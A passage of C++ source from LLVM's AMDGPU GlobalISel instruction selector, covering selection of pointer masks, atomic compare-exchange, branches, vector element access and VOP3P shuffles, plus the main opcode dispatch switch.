Register OpReg = MRI->createVirtualRegister(&AMDGPU::SReg_32RegClass);
if (!RBI.constrainGenericRegister(Src, AMDGPU::SReg_64RegClass, *MRI) ||
!RBI.constrainGenericRegister(Dst, AMDGPU::SReg_64RegClass, *MRI))
return false;
BuildMI(*BB, &MI, DL, TII.get(AMDGPU::COPY), LoReg)
.addReg(Src, 0, AMDGPU::sub0);
BuildMI(*BB, &MI, DL, TII.get(AMDGPU::COPY), HiReg)
.addReg(Src, 0, AMDGPU::sub1);
BuildMI(*BB, &MI, DL, TII.get(AMDGPU::S_MOV_B32), ConstReg)
.addImm(0x7fffffff);
// Clear sign bit.
// TODO: Should this used S_BITSET0_*?
BuildMI(*BB, &MI, DL, TII.get(AMDGPU::S_AND_B32), OpReg)
.addReg(HiReg)
.addReg(ConstReg);
BuildMI(*BB, &MI, DL, TII.get(AMDGPU::REG_SEQUENCE), Dst)
.addReg(LoReg)
.addImm(AMDGPU::sub0)
.addReg(OpReg)
.addImm(AMDGPU::sub1);
MI.eraseFromParent();
return true;
}
static bool isConstant(const MachineInstr &MI) {
return MI.getOpcode() == TargetOpcode::G_CONSTANT;
}
void AMDGPUInstructionSelector::getAddrModeInfo(const MachineInstr &Load,
const MachineRegisterInfo &MRI, SmallVectorImpl<GEPInfo> &AddrInfo) const {
const MachineInstr *PtrMI = MRI.getUniqueVRegDef(Load.getOperand(1).getReg());
assert(PtrMI);
if (PtrMI->getOpcode() != TargetOpcode::G_PTR_ADD)
return;
GEPInfo GEPInfo(*PtrMI);
for (unsigned i = 1; i != 3; ++i) {
const MachineOperand &GEPOp = PtrMI->getOperand(i);
const MachineInstr *OpDef = MRI.getUniqueVRegDef(GEPOp.getReg());
assert(OpDef);
if (i == 2 && isConstant(*OpDef)) {
// TODO: Could handle constant base + variable offset, but a combine
// probably should have commuted it.
assert(GEPInfo.Imm == 0);
GEPInfo.Imm = OpDef->getOperand(1).getCImm()->getSExtValue();
continue;
}
const RegisterBank *OpBank = RBI.getRegBank(GEPOp.getReg(), MRI, TRI);
if (OpBank->getID() == AMDGPU::SGPRRegBankID)
GEPInfo.SgprParts.push_back(GEPOp.getReg());
else
GEPInfo.VgprParts.push_back(GEPOp.getReg());
}
AddrInfo.push_back(GEPInfo);
getAddrModeInfo(*PtrMI, MRI, AddrInfo);
}
bool AMDGPUInstructionSelector::isInstrUniform(const MachineInstr &MI) const {
if (!MI.hasOneMemOperand())
return false;
const MachineMemOperand *MMO = *MI.memoperands_begin();
const Value *Ptr = MMO->getValue();
// UndefValue means this is a load of a kernel input. These are uniform.
// Sometimes LDS instructions have constant pointers.
// If Ptr is null, then that means this mem operand contains a
// PseudoSourceValue like GOT.
if (!Ptr || isa<UndefValue>(Ptr) || isa<Argument>(Ptr) ||
isa<Constant>(Ptr) || isa<GlobalValue>(Ptr))
return true;
if (MMO->getAddrSpace() == AMDGPUAS::CONSTANT_ADDRESS_32BIT)
return true;
const Instruction *I = dyn_cast<Instruction>(Ptr);
return I && I->getMetadata("amdgpu.uniform");
}
bool AMDGPUInstructionSelector::hasVgprParts(ArrayRef<GEPInfo> AddrInfo) const {
for (const GEPInfo &GEPInfo : AddrInfo) {
if (!GEPInfo.VgprParts.empty())
return true;
}
return false;
}
void AMDGPUInstructionSelector::initM0(MachineInstr &I) const {
const LLT PtrTy = MRI->getType(I.getOperand(1).getReg());
unsigned AS = PtrTy.getAddressSpace();
if ((AS == AMDGPUAS::LOCAL_ADDRESS || AS == AMDGPUAS::REGION_ADDRESS) &&
STI.ldsRequiresM0Init()) {
MachineBasicBlock *BB = I.getParent();
// If DS instructions require M0 initializtion, insert it before selecting.
BuildMI(*BB, &I, I.getDebugLoc(), TII.get(AMDGPU::S_MOV_B32), AMDGPU::M0)
.addImm(-1);
}
}
bool AMDGPUInstructionSelector::selectG_LOAD_STORE_ATOMICRMW(
MachineInstr &I) const {
initM0(I);
return selectImpl(I, *CoverageInfo);
}
// TODO: No rtn optimization.
bool AMDGPUInstructionSelector::selectG_AMDGPU_ATOMIC_CMPXCHG(
MachineInstr &MI) const {
Register PtrReg = MI.getOperand(1).getReg();
const LLT PtrTy = MRI->getType(PtrReg);
if (PtrTy.getAddressSpace() == AMDGPUAS::FLAT_ADDRESS ||
STI.useFlatForGlobal())
return selectImpl(MI, *CoverageInfo);
Register DstReg = MI.getOperand(0).getReg();
const LLT Ty = MRI->getType(DstReg);
const bool Is64 = Ty.getSizeInBits() == 64;
const unsigned SubReg = Is64 ? AMDGPU::sub0_sub1 : AMDGPU::sub0;
Register TmpReg = MRI->createVirtualRegister(
Is64 ? &AMDGPU::VReg_128RegClass : &AMDGPU::VReg_64RegClass);
const DebugLoc &DL = MI.getDebugLoc();
MachineBasicBlock *BB = MI.getParent();
Register VAddr, RSrcReg, SOffset;
int64_t Offset = 0;
unsigned Opcode;
if (selectMUBUFOffsetImpl(MI.getOperand(1), RSrcReg, SOffset, Offset)) {
Opcode = Is64 ? AMDGPU::BUFFER_ATOMIC_CMPSWAP_X2_OFFSET_RTN :
AMDGPU::BUFFER_ATOMIC_CMPSWAP_OFFSET_RTN;
} else if (selectMUBUFAddr64Impl(MI.getOperand(1), VAddr,
RSrcReg, SOffset, Offset)) {
Opcode = Is64 ? AMDGPU::BUFFER_ATOMIC_CMPSWAP_X2_ADDR64_RTN :
AMDGPU::BUFFER_ATOMIC_CMPSWAP_ADDR64_RTN;
} else
return selectImpl(MI, *CoverageInfo);
auto MIB = BuildMI(*BB, &MI, DL, TII.get(Opcode), TmpReg)
.addReg(MI.getOperand(2).getReg());
if (VAddr)
MIB.addReg(VAddr);
MIB.addReg(RSrcReg);
if (SOffset)
MIB.addReg(SOffset);
else
MIB.addImm(0);
MIB.addImm(Offset);
MIB.addImm(0); // slc
MIB.cloneMemRefs(MI);
BuildMI(*BB, &MI, DL, TII.get(AMDGPU::COPY), DstReg)
.addReg(TmpReg, RegState::Kill, SubReg);
MI.eraseFromParent();
MRI->setRegClass(
DstReg, Is64 ? &AMDGPU::VReg_64RegClass : &AMDGPU::VGPR_32RegClass);
return constrainSelectedInstRegOperands(*MIB, TII, TRI, RBI);
}
bool AMDGPUInstructionSelector::selectG_BRCOND(MachineInstr &I) const {
MachineBasicBlock *BB = I.getParent();
MachineOperand &CondOp = I.getOperand(0);
Register CondReg = CondOp.getReg();
const DebugLoc &DL = I.getDebugLoc();
unsigned BrOpcode;
Register CondPhysReg;
const TargetRegisterClass *ConstrainRC;
// In SelectionDAG, we inspect the IR block for uniformity metadata to decide
// whether the branch is uniform when selecting the instruction. In
// GlobalISel, we should push that decision into RegBankSelect. Assume for now
// RegBankSelect knows what it's doing if the branch condition is scc, even
// though it currently does not.
if (!isVCC(CondReg, *MRI)) {
if (MRI->getType(CondReg) != LLT::scalar(32))
return false;
CondPhysReg = AMDGPU::SCC;
BrOpcode = AMDGPU::S_CBRANCH_SCC1;
ConstrainRC = &AMDGPU::SReg_32RegClass;
} else {
// FIXME: Do we have to insert an and with exec here, like in SelectionDAG?
// We sort of know that a VCC producer based on the register bank, that ands
// inactive lanes with 0. What if there was a logical operation with vcc
// producers in different blocks/with different exec masks?
// FIXME: Should scc->vcc copies and with exec?
CondPhysReg = TRI.getVCC();
BrOpcode = AMDGPU::S_CBRANCH_VCCNZ;
ConstrainRC = TRI.getBoolRC();
}
if (!MRI->getRegClassOrNull(CondReg))
MRI->setRegClass(CondReg, ConstrainRC);
BuildMI(*BB, &I, DL, TII.get(AMDGPU::COPY), CondPhysReg)
.addReg(CondReg);
BuildMI(*BB, &I, DL, TII.get(BrOpcode))
.addMBB(I.getOperand(1).getMBB());
I.eraseFromParent();
return true;
}
bool AMDGPUInstructionSelector::selectG_GLOBAL_VALUE(
MachineInstr &I) const {
Register DstReg = I.getOperand(0).getReg();
const RegisterBank *DstRB = RBI.getRegBank(DstReg, *MRI, TRI);
const bool IsVGPR = DstRB->getID() == AMDGPU::VGPRRegBankID;
I.setDesc(TII.get(IsVGPR ? AMDGPU::V_MOV_B32_e32 : AMDGPU::S_MOV_B32));
if (IsVGPR)
I.addOperand(*MF, MachineOperand::CreateReg(AMDGPU::EXEC, false, true));
return RBI.constrainGenericRegister(
DstReg, IsVGPR ? AMDGPU::VGPR_32RegClass : AMDGPU::SReg_32RegClass, *MRI);
}
bool AMDGPUInstructionSelector::selectG_PTRMASK(MachineInstr &I) const {
Register DstReg = I.getOperand(0).getReg();
Register SrcReg = I.getOperand(1).getReg();
Register MaskReg = I.getOperand(2).getReg();
LLT Ty = MRI->getType(DstReg);
LLT MaskTy = MRI->getType(MaskReg);
const RegisterBank *DstRB = RBI.getRegBank(DstReg, *MRI, TRI);
const RegisterBank *SrcRB = RBI.getRegBank(SrcReg, *MRI, TRI);
const RegisterBank *MaskRB = RBI.getRegBank(MaskReg, *MRI, TRI);
const bool IsVGPR = DstRB->getID() == AMDGPU::VGPRRegBankID;
if (DstRB != SrcRB) // Should only happen for hand written MIR.
return false;
unsigned NewOpc = IsVGPR ? AMDGPU::V_AND_B32_e64 : AMDGPU::S_AND_B32;
const TargetRegisterClass &RegRC
= IsVGPR ? AMDGPU::VGPR_32RegClass : AMDGPU::SReg_32RegClass;
const TargetRegisterClass *DstRC = TRI.getRegClassForTypeOnBank(Ty, *DstRB,
*MRI);
const TargetRegisterClass *SrcRC = TRI.getRegClassForTypeOnBank(Ty, *SrcRB,
*MRI);
const TargetRegisterClass *MaskRC =
TRI.getRegClassForTypeOnBank(MaskTy, *MaskRB, *MRI);
if (!RBI.constrainGenericRegister(DstReg, *DstRC, *MRI) ||
!RBI.constrainGenericRegister(SrcReg, *SrcRC, *MRI) ||
!RBI.constrainGenericRegister(MaskReg, *MaskRC, *MRI))
return false;
MachineBasicBlock *BB = I.getParent();
const DebugLoc &DL = I.getDebugLoc();
if (Ty.getSizeInBits() == 32) {
assert(MaskTy.getSizeInBits() == 32 &&
"ptrmask should have been narrowed during legalize");
BuildMI(*BB, &I, DL, TII.get(NewOpc), DstReg)
.addReg(SrcReg)
.addReg(MaskReg);
I.eraseFromParent();
return true;
}
Register HiReg = MRI->createVirtualRegister(&RegRC);
Register LoReg = MRI->createVirtualRegister(&RegRC);
// Extract the subregisters from the source pointer.
BuildMI(*BB, &I, DL, TII.get(AMDGPU::COPY), LoReg)
.addReg(SrcReg, 0, AMDGPU::sub0);
BuildMI(*BB, &I, DL, TII.get(AMDGPU::COPY), HiReg)
.addReg(SrcReg, 0, AMDGPU::sub1);
Register MaskedLo, MaskedHi;
// Try to avoid emitting a bit operation when we only need to touch half of
// the 64-bit pointer.
APInt MaskOnes = KnownBits->getKnownOnes(MaskReg).zextOrSelf(64);
const APInt MaskHi32 = APInt::getHighBitsSet(64, 32);
const APInt MaskLo32 = APInt::getLowBitsSet(64, 32);
if ((MaskOnes & MaskLo32) == MaskLo32) {
// If all the bits in the low half are 1, we only need a copy for it.
MaskedLo = LoReg;
} else {
// Extract the mask subregister and apply the and.
Register MaskLo = MRI->createVirtualRegister(&RegRC);
MaskedLo = MRI->createVirtualRegister(&RegRC);
BuildMI(*BB, &I, DL, TII.get(AMDGPU::COPY), MaskLo)
.addReg(MaskReg, 0, AMDGPU::sub0);
BuildMI(*BB, &I, DL, TII.get(NewOpc), MaskedLo)
.addReg(LoReg)
.addReg(MaskLo);
}
if ((MaskOnes & MaskHi32) == MaskHi32) {
// If all the bits in the high half are 1, we only need a copy for it.
MaskedHi = HiReg;
} else {
Register MaskHi = MRI->createVirtualRegister(&RegRC);
MaskedHi = MRI->createVirtualRegister(&RegRC);
BuildMI(*BB, &I, DL, TII.get(AMDGPU::COPY), MaskHi)
.addReg(MaskReg, 0, AMDGPU::sub1);
BuildMI(*BB, &I, DL, TII.get(NewOpc), MaskedHi)
.addReg(HiReg)
.addReg(MaskHi);
}
BuildMI(*BB, &I, DL, TII.get(AMDGPU::REG_SEQUENCE), DstReg)
.addReg(MaskedLo)
.addImm(AMDGPU::sub0)
.addReg(MaskedHi)
.addImm(AMDGPU::sub1);
I.eraseFromParent();
return true;
}
/// Return the register to use for the index value, and the subregister to use
/// for the indirectly accessed register.
static std::pair<Register, unsigned>
computeIndirectRegIndex(MachineRegisterInfo &MRI,
const SIRegisterInfo &TRI,
const TargetRegisterClass *SuperRC,
Register IdxReg,
unsigned EltSize) {
Register IdxBaseReg;
int Offset;
MachineInstr *Unused;
std::tie(IdxBaseReg, Offset, Unused)
= AMDGPU::getBaseWithConstantOffset(MRI, IdxReg);
if (IdxBaseReg == AMDGPU::NoRegister) {
// This will happen if the index is a known constant. This should ordinarily
// be legalized out, but handle it as a register just in case.
assert(Offset == 0);
IdxBaseReg = IdxReg;
}
ArrayRef<int16_t> SubRegs = TRI.getRegSplitParts(SuperRC, EltSize);
// Skip out of bounds offsets, or else we would end up using an undefined
// register.
if (static_cast<unsigned>(Offset) >= SubRegs.size())
return std::make_pair(IdxReg, SubRegs[0]);
return std::make_pair(IdxBaseReg, SubRegs[Offset]);
}
bool AMDGPUInstructionSelector::selectG_EXTRACT_VECTOR_ELT(
MachineInstr &MI) const {
Register DstReg = MI.getOperand(0).getReg();
Register SrcReg = MI.getOperand(1).getReg();
Register IdxReg = MI.getOperand(2).getReg();
LLT DstTy = MRI->getType(DstReg);
LLT SrcTy = MRI->getType(SrcReg);
const RegisterBank *DstRB = RBI.getRegBank(DstReg, *MRI, TRI);
const RegisterBank *SrcRB = RBI.getRegBank(SrcReg, *MRI, TRI);
const RegisterBank *IdxRB = RBI.getRegBank(IdxReg, *MRI, TRI);
// The index must be scalar. If it wasn't RegBankSelect should have moved this
// into a waterfall loop.
if (IdxRB->getID() != AMDGPU::SGPRRegBankID)
return false;
const TargetRegisterClass *SrcRC = TRI.getRegClassForTypeOnBank(SrcTy, *SrcRB,
*MRI);
const TargetRegisterClass *DstRC = TRI.getRegClassForTypeOnBank(DstTy, *DstRB,
*MRI);
if (!SrcRC || !DstRC)
return false;
if (!RBI.constrainGenericRegister(SrcReg, *SrcRC, *MRI) ||
!RBI.constrainGenericRegister(DstReg, *DstRC, *MRI) ||
!RBI.constrainGenericRegister(IdxReg, AMDGPU::SReg_32RegClass, *MRI))
return false;
MachineBasicBlock *BB = MI.getParent();
const DebugLoc &DL = MI.getDebugLoc();
const bool Is64 = DstTy.getSizeInBits() == 64;
unsigned SubReg;
std::tie(IdxReg, SubReg) = computeIndirectRegIndex(*MRI, TRI, SrcRC, IdxReg,
DstTy.getSizeInBits() / 8);
if (SrcRB->getID() == AMDGPU::SGPRRegBankID) {
if (DstTy.getSizeInBits() != 32 && !Is64)
return false;
BuildMI(*BB, &MI, DL, TII.get(AMDGPU::COPY), AMDGPU::M0)
.addReg(IdxReg);
unsigned Opc = Is64 ? AMDGPU::S_MOVRELS_B64 : AMDGPU::S_MOVRELS_B32;
BuildMI(*BB, &MI, DL, TII.get(Opc), DstReg)
.addReg(SrcReg, 0, SubReg)
.addReg(SrcReg, RegState::Implicit);
MI.eraseFromParent();
return true;
}
if (SrcRB->getID() != AMDGPU::VGPRRegBankID || DstTy.getSizeInBits() != 32)
return false;
if (!STI.useVGPRIndexMode()) {
BuildMI(*BB, &MI, DL, TII.get(AMDGPU::COPY), AMDGPU::M0)
.addReg(IdxReg);
BuildMI(*BB, &MI, DL, TII.get(AMDGPU::V_MOVRELS_B32_e32), DstReg)
.addReg(SrcReg, 0, SubReg)
.addReg(SrcReg, RegState::Implicit);
MI.eraseFromParent();
return true;
}
BuildMI(*BB, MI, DL, TII.get(AMDGPU::S_SET_GPR_IDX_ON))
.addReg(IdxReg)
.addImm(AMDGPU::VGPRIndexMode::SRC0_ENABLE);
BuildMI(*BB, MI, DL, TII.get(AMDGPU::V_MOV_B32_e32), DstReg)
.addReg(SrcReg, 0, SubReg)
.addReg(SrcReg, RegState::Implicit)
.addReg(AMDGPU::M0, RegState::Implicit);
BuildMI(*BB, MI, DL, TII.get(AMDGPU::S_SET_GPR_IDX_OFF));
MI.eraseFromParent();
return true;
}
// TODO: Fold insert_vector_elt (extract_vector_elt) into movrelsd
bool AMDGPUInstructionSelector::selectG_INSERT_VECTOR_ELT(
MachineInstr &MI) const {
Register DstReg = MI.getOperand(0).getReg();
Register VecReg = MI.getOperand(1).getReg();
Register ValReg = MI.getOperand(2).getReg();
Register IdxReg = MI.getOperand(3).getReg();
LLT VecTy = MRI->getType(DstReg);
LLT ValTy = MRI->getType(ValReg);
unsigned VecSize = VecTy.getSizeInBits();
unsigned ValSize = ValTy.getSizeInBits();
const RegisterBank *VecRB = RBI.getRegBank(VecReg, *MRI, TRI);
const RegisterBank *ValRB = RBI.getRegBank(ValReg, *MRI, TRI);
const RegisterBank *IdxRB = RBI.getRegBank(IdxReg, *MRI, TRI);
assert(VecTy.getElementType() == ValTy);
// The index must be scalar. If it wasn't RegBankSelect should have moved this
// into a waterfall loop.
if (IdxRB->getID() != AMDGPU::SGPRRegBankID)
return false;
const TargetRegisterClass *VecRC = TRI.getRegClassForTypeOnBank(VecTy, *VecRB,
*MRI);
const TargetRegisterClass *ValRC = TRI.getRegClassForTypeOnBank(ValTy, *ValRB,
*MRI);
if (!RBI.constrainGenericRegister(VecReg, *VecRC, *MRI) ||
!RBI.constrainGenericRegister(DstReg, *VecRC, *MRI) ||
!RBI.constrainGenericRegister(ValReg, *ValRC, *MRI) ||
!RBI.constrainGenericRegister(IdxReg, AMDGPU::SReg_32RegClass, *MRI))
return false;
if (VecRB->getID() == AMDGPU::VGPRRegBankID && ValSize != 32)
return false;
unsigned SubReg;
std::tie(IdxReg, SubReg) = computeIndirectRegIndex(*MRI, TRI, VecRC, IdxReg,
ValSize / 8);
const bool IndexMode = VecRB->getID() == AMDGPU::VGPRRegBankID &&
STI.useVGPRIndexMode();
MachineBasicBlock *BB = MI.getParent();
const DebugLoc &DL = MI.getDebugLoc();
if (IndexMode) {
BuildMI(*BB, MI, DL, TII.get(AMDGPU::S_SET_GPR_IDX_ON))
.addReg(IdxReg)
.addImm(AMDGPU::VGPRIndexMode::DST_ENABLE);
} else {
BuildMI(*BB, &MI, DL, TII.get(AMDGPU::COPY), AMDGPU::M0)
.addReg(IdxReg);
}
const MCInstrDesc &RegWriteOp
= TII.getIndirectRegWritePseudo(VecSize, ValSize,
VecRB->getID() == AMDGPU::SGPRRegBankID);
BuildMI(*BB, MI, DL, RegWriteOp, DstReg)
.addReg(VecReg)
.addReg(ValReg)
.addImm(SubReg);
if (IndexMode)
BuildMI(*BB, MI, DL, TII.get(AMDGPU::S_SET_GPR_IDX_OFF));
MI.eraseFromParent();
return true;
}
static bool isZeroOrUndef(int X) {
return X == 0 || X == -1;
}
static bool isOneOrUndef(int X) {
return X == 1 || X == -1;
}
static bool isZeroOrOneOrUndef(int X) {
return X == 0 || X == 1 || X == -1;
}
// Normalize a VOP3P shuffle mask to refer to the low/high half of a single
// 32-bit register.
static Register normalizeVOP3PMask(int NewMask[2], Register Src0, Register Src1,
ArrayRef<int> Mask) {
NewMask[0] = Mask[0];
NewMask[1] = Mask[1];
if (isZeroOrOneOrUndef(Mask[0]) && isZeroOrOneOrUndef(Mask[1]))
return Src0;
assert(NewMask[0] == 2 || NewMask[0] == 3 || NewMask[0] == -1);
assert(NewMask[1] == 2 || NewMask[1] == 3 || NewMask[1] == -1);
// Shift the mask inputs to be 0/1;
NewMask[0] = NewMask[0] == -1 ? -1 : NewMask[0] - 2;
NewMask[1] = NewMask[1] == -1 ? -1 : NewMask[1] - 2;
return Src1;
}
// This is only legal with VOP3P instructions as an aid to op_sel matching.
bool AMDGPUInstructionSelector::selectG_SHUFFLE_VECTOR(
MachineInstr &MI) const {
Register DstReg = MI.getOperand(0).getReg();
Register Src0Reg = MI.getOperand(1).getReg();
Register Src1Reg = MI.getOperand(2).getReg();
ArrayRef<int> ShufMask = MI.getOperand(3).getShuffleMask();
const LLT V2S16 = LLT::vector(2, 16);
if (MRI->getType(DstReg) != V2S16 || MRI->getType(Src0Reg) != V2S16)
return false;
if (!AMDGPU::isLegalVOP3PShuffleMask(ShufMask))
return false;
assert(ShufMask.size() == 2);
assert(STI.hasSDWA() && "no target has VOP3P but not SDWA");
MachineBasicBlock *MBB = MI.getParent();
const DebugLoc &DL = MI.getDebugLoc();
const RegisterBank *DstRB = RBI.getRegBank(DstReg, *MRI, TRI);
const bool IsVALU = DstRB->getID() == AMDGPU::VGPRRegBankID;
const TargetRegisterClass &RC = IsVALU ?
AMDGPU::VGPR_32RegClass : AMDGPU::SReg_32RegClass;
// Handle the degenerate case which should have folded out.
if (ShufMask[0] == -1 && ShufMask[1] == -1) {
BuildMI(*MBB, MI, DL, TII.get(AMDGPU::IMPLICIT_DEF), DstReg);
MI.eraseFromParent();
return RBI.constrainGenericRegister(DstReg, RC, *MRI);
}
// A legal VOP3P mask only reads one of the sources.
int Mask[2];
Register SrcVec = normalizeVOP3PMask(Mask, Src0Reg, Src1Reg, ShufMask);
if (!RBI.constrainGenericRegister(DstReg, RC, *MRI) ||
!RBI.constrainGenericRegister(SrcVec, RC, *MRI))
return false;
// TODO: This also should have been folded out
if (isZeroOrUndef(Mask[0]) && isOneOrUndef(Mask[1])) {
BuildMI(*MBB, MI, DL, TII.get(AMDGPU::COPY), DstReg)
.addReg(SrcVec);
MI.eraseFromParent();
return true;
}
if (Mask[0] == 1 && Mask[1] == -1) {
if (IsVALU) {
BuildMI(*MBB, MI, DL, TII.get(AMDGPU::V_LSHRREV_B32_e64), DstReg)
.addImm(16)
.addReg(SrcVec);
} else {
BuildMI(*MBB, MI, DL, TII.get(AMDGPU::S_LSHR_B32), DstReg)
.addReg(SrcVec)
.addImm(16);
}
} else if (Mask[0] == -1 && Mask[1] == 0) {
if (IsVALU) {
BuildMI(*MBB, MI, DL, TII.get(AMDGPU::V_LSHLREV_B32_e64), DstReg)
.addImm(16)
.addReg(SrcVec);
} else {
BuildMI(*MBB, MI, DL, TII.get(AMDGPU::S_LSHL_B32), DstReg)
.addReg(SrcVec)
.addImm(16);
}
} else if (Mask[0] == 0 && Mask[1] == 0) {
if (IsVALU) {
// Write low half of the register into the high half.
MachineInstr *MovSDWA =
BuildMI(*MBB, MI, DL, TII.get(AMDGPU::V_MOV_B32_sdwa), DstReg)
.addImm(0) // $src0_modifiers
.addReg(SrcVec) // $src0
.addImm(0) // $clamp
.addImm(AMDGPU::SDWA::WORD_1) // $dst_sel
.addImm(AMDGPU::SDWA::UNUSED_PRESERVE) // $dst_unused
.addImm(AMDGPU::SDWA::WORD_0) // $src0_sel
.addReg(SrcVec, RegState::Implicit);
MovSDWA->tieOperands(0, MovSDWA->getNumOperands() - 1);
} else {
BuildMI(*MBB, MI, DL, TII.get(AMDGPU::S_PACK_LL_B32_B16), DstReg)
.addReg(SrcVec)
.addReg(SrcVec);
}
} else if (Mask[0] == 1 && Mask[1] == 1) {
if (IsVALU) {
// Write high half of the register into the low half.
MachineInstr *MovSDWA =
BuildMI(*MBB, MI, DL, TII.get(AMDGPU::V_MOV_B32_sdwa), DstReg)
.addImm(0) // $src0_modifiers
.addReg(SrcVec) // $src0
.addImm(0) // $clamp
.addImm(AMDGPU::SDWA::WORD_0) // $dst_sel
.addImm(AMDGPU::SDWA::UNUSED_PRESERVE) // $dst_unused
.addImm(AMDGPU::SDWA::WORD_1) // $src0_sel
.addReg(SrcVec, RegState::Implicit);
MovSDWA->tieOperands(0, MovSDWA->getNumOperands() - 1);
} else {
BuildMI(*MBB, MI, DL, TII.get(AMDGPU::S_PACK_HH_B32_B16), DstReg)
.addReg(SrcVec)
.addReg(SrcVec);
}
} else if (Mask[0] == 1 && Mask[1] == 0) {
if (IsVALU) {
BuildMI(*MBB, MI, DL, TII.get(AMDGPU::V_ALIGNBIT_B32), DstReg)
.addReg(SrcVec)
.addReg(SrcVec)
.addImm(16);
} else {
Register TmpReg = MRI->createVirtualRegister(&AMDGPU::SReg_32RegClass);
BuildMI(*MBB, MI, DL, TII.get(AMDGPU::S_LSHR_B32), TmpReg)
.addReg(SrcVec)
.addImm(16);
BuildMI(*MBB, MI, DL, TII.get(AMDGPU::S_PACK_LL_B32_B16), DstReg)
.addReg(TmpReg)
.addReg(SrcVec);
}
} else
llvm_unreachable("all shuffle masks should be handled");
MI.eraseFromParent();
return true;
}
bool AMDGPUInstructionSelector::select(MachineInstr &I) {
if (I.isPHI())
return selectPHI(I);
if (!I.isPreISelOpcode()) {
if (I.isCopy())
return selectCOPY(I);
return true;
}
switch (I.getOpcode()) {
case TargetOpcode::G_AND:
case TargetOpcode::G_OR:
case TargetOpcode::G_XOR:
if (selectImpl(I, *CoverageInfo))
return true;
return selectG_AND_OR_XOR(I);
case TargetOpcode::G_ADD:
case TargetOpcode::G_SUB:
if (selectImpl(I, *CoverageInfo))
return true;
return selectG_ADD_SUB(I);
case TargetOpcode::G_UADDO:
case TargetOpcode::G_USUBO:
case TargetOpcode::G_UADDE:
case TargetOpcode::G_USUBE:
return selectG_UADDO_USUBO_UADDE_USUBE(I);
case TargetOpcode::G_INTTOPTR:
case TargetOpcode::G_BITCAST:
case TargetOpcode::G_PTRTOINT:
return selectCOPY(I);
case TargetOpcode::G_CONSTANT:
case TargetOpcode::G_FCONSTANT:
return selectG_CONSTANT(I);
case TargetOpcode::G_FNEG:
if (selectImpl(I, *CoverageInfo))
return true;
return selectG_FNEG(I);
case TargetOpcode::G_FABS:
if (selectImpl(I, *CoverageInfo))
return true;
return selectG_FABS(I);
case TargetOpcode::G_EXTRACT:
return selectG_EXTRACT(I);
case TargetOpcode::G_MERGE_VALUES:
case TargetOpcode::G_BUILD_VECTOR:
case TargetOpcode::G_CONCAT_VECTORS:
return selectG_MERGE_VALUES(I);
case TargetOpcode::G_UNMERGE_VALUES:
return selectG_UNMERGE_VALUES(I);
case TargetOpcode::G_BUILD_VECTOR_TRUNC:
return selectG_BUILD_VECTOR_TRUNC(I);
case TargetOpcode::G_PTR_ADD:
return selectG_PTR_ADD(I);
case TargetOpcode::G_IMPLICIT_DEF:
return selectG_IMPLICIT_DEF(I);
case TargetOpcode::G_FREEZE:
return selectCOPY(I);
case TargetOpcode::G_INSERT:
return selectG_INSERT(I);
case TargetOpcode::G_INTRINSIC:
return selectG_INTRINSIC(I);
case TargetOpcode::G_INTRINSIC_W_SIDE_EFFECTS:
return selectG_INTRINSIC_W_SIDE_EFFECTS(I);
case TargetOpcode::G_ICMP:
if (selectG_ICMP(I))
return true;
return selectImpl(I, *CoverageInfo);
case TargetOpcode::G_LOAD:
case TargetOpcode::G_STORE:
case TargetOpcode::G_ATOMIC_CMPXCHG:
case TargetOpcode::G_ATOMICRMW_XCHG:
case TargetOpcode::G_ATOMICRMW_ADD:
case TargetOpcode::G_ATOMICRMW_SUB:
case TargetOpcode::G_ATOMICRMW_AND:
case TargetOpcode::G_ATOMICRMW_OR:
case TargetOpcode::G_ATOMICRMW_XOR:
case TargetOpcode::G_ATOMICRMW_MIN:
case TargetOpcode::G_ATOMICRMW_MAX:
case TargetOpcode::G_ATOMICRMW_UMIN:
case TargetOpcode::G_ATOMICRMW_UMAX:
case TargetOpcode::G_ATOMICRMW_FADD:
case AMDGPU::G_AMDGPU_ATOMIC_INC:
case AMDGPU::G_AMDGPU_ATOMIC_DEC:
case AMDGPU::G_AMDGPU_ATOMIC_FMIN:
case AMDGPU::G_AMDGPU_ATOMIC_FMAX:
return selectG_LOAD_STORE_ATOMICRMW(I);
case AMDGPU::G_AMDGPU_ATOMIC_CMPXCHG:
return selectG_AMDGPU_ATOMIC_CMPXCHG(I);
case TargetOpcode::G_SELECT:
return selectG_SELECT(I);
case TargetOpcode::G_TRUNC:
return selectG_TRUNC(I);
case TargetOpcode::G_SEXT:
case TargetOpcode::G_ZEXT:
case TargetOpcode::G_ANYEXT:
case TargetOpcode::G_SEXT_INREG:
if (selectImpl(I, *CoverageInfo))
return true;
return selectG_SZA_EXT(I);
case TargetOpcode::G_BRCOND:
return selectG_BRCOND(I);
case TargetOpcode::G_GLOBAL_VALUE:
return selectG_GLOBAL_VALUE(I);
case TargetOpcode::G_PTRMASK:
return selectG_PTRMASK(I);
case TargetOpcode::G_EXTRACT_VECTOR_ELT:
return selectG_EXTRACT_VECTOR_ELT(I);
case TargetOpcode::G_INSERT_VECTOR_ELT:
return selectG_INSERT_VECTOR_ELT(I);
case TargetOpcode::G_SHUFFLE_VECTOR:
return selectG_SHUFFLE_VECTOR(I);
case AMDGPU::G_AMDGPU_INTRIN_IMAGE_LOAD:
case AMDGPU::G_AMDGPU_INTRIN_IMAGE_STORE: {
const AMDGPU::ImageDimIntrinsicInfo *Intr
= AMDGPU::getImageDimIntrinsicInfo(I.getIntrinsicID());
assert(Intr && "not an image intrinsic with image pseudo");
return selectImageIntrinsic(I, Intr);
}
default:
return selectImpl(I, *CoverageInfo);
}
return false;
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectVCSRC(MachineOperand &Root) const {
return {{
[=](MachineInstrBuilder &MIB) { MIB.add(Root); }
}};
}
std::pair<Register, unsigned>
AMDGPUInstructionSelector::selectVOP3ModsImpl(MachineOperand &Root) const {
Register Src = Root.getReg();
Register OrigSrc = Src;
unsigned Mods = 0;
MachineInstr *MI = getDefIgnoringCopies(Src, *MRI);
if (MI && MI->getOpcode() == AMDGPU::G_FNEG) {
Src = MI->getOperand(1).getReg();
Mods |= SISrcMods::NEG;
MI = getDefIgnoringCopies(Src, *MRI);
}
if (MI && MI->getOpcode() == AMDGPU::G_FABS) {
Src = MI->getOperand(1).getReg();
Mods |= SISrcMods::ABS;
}
if (Mods != 0 &&
RBI.getRegBank(Src, *MRI, TRI)->getID() != AMDGPU::VGPRRegBankID) {
MachineInstr *UseMI = Root.getParent();
// If we looked through copies to find source modifiers on an SGPR operand,
